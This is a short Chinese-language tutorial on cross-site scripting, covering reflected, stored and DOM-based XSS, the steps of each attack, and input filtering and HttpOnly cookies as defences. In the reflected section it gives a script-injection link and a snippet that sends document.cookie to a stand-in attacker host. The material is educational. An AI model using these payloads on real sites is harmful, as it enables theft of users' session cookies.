XSS攻击

149 阅读4分钟

XSS

xss中文译名为跨站脚本攻击,攻击方式为在网站上注入恶意代码(一般是JavaScript脚本)进行攻击,攻击目的一般是非法获取用户信息。
xss攻击分为三类:

1.反射型(非持久型):是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。

例子:${url}?name=<script>alert(111)</script>
攻击过程:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 举个例子,当我们在test.html中有一个搜索的urltest.html?q=xxx,这里的xxx就是搜索的内容,而我们在自己的攻击网站hacker.html中,添加一个跳转
    <a href="test.html?q=<script src='hacker.js'></script>"></a>
    那么用户在点击这个链接时,就等于在搜索框输入了
    <script src='hacker.js'></script>

而此时,如果这里开发者没有做XSS攻击防范的话,就会加载了我之前准备好的攻击文件hacker.js
var img = new Image();
img.src = "http://hacker.html?q="+document.cookie;
document.body.append(img);
这样子,就会通过img请求图片时候通过url将用户的cookie发送到我的服务端被我获取,就会造成cookie被我知道了

2.存储型(持久型):存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现XSS代码时并不会加以判断,直接当做正常的HTML和JS解析执行,此时XSS攻击就发生了。

比如在某个页面上有留言版,我们在留言上写上这样的内容

<script>alert(1111)</script>

在下次用户打开页面的时候,就会先弹出1111(如果没有对该攻击做出防御的话) 这种攻击常见于可以给用户提供展示信息给其他用户的系统,比如二手交易平台,带有评论的系统,博客系统等等

攻击步骤

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

3.DOM型:

攻击步骤

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

防范方法

  1. 过滤输入的文本
  2. 在cookie中设置httponly属性,使得js无法获得cookie ( 方法:在http的返回头中设置set-cookie:<name>=<val>[;httponly]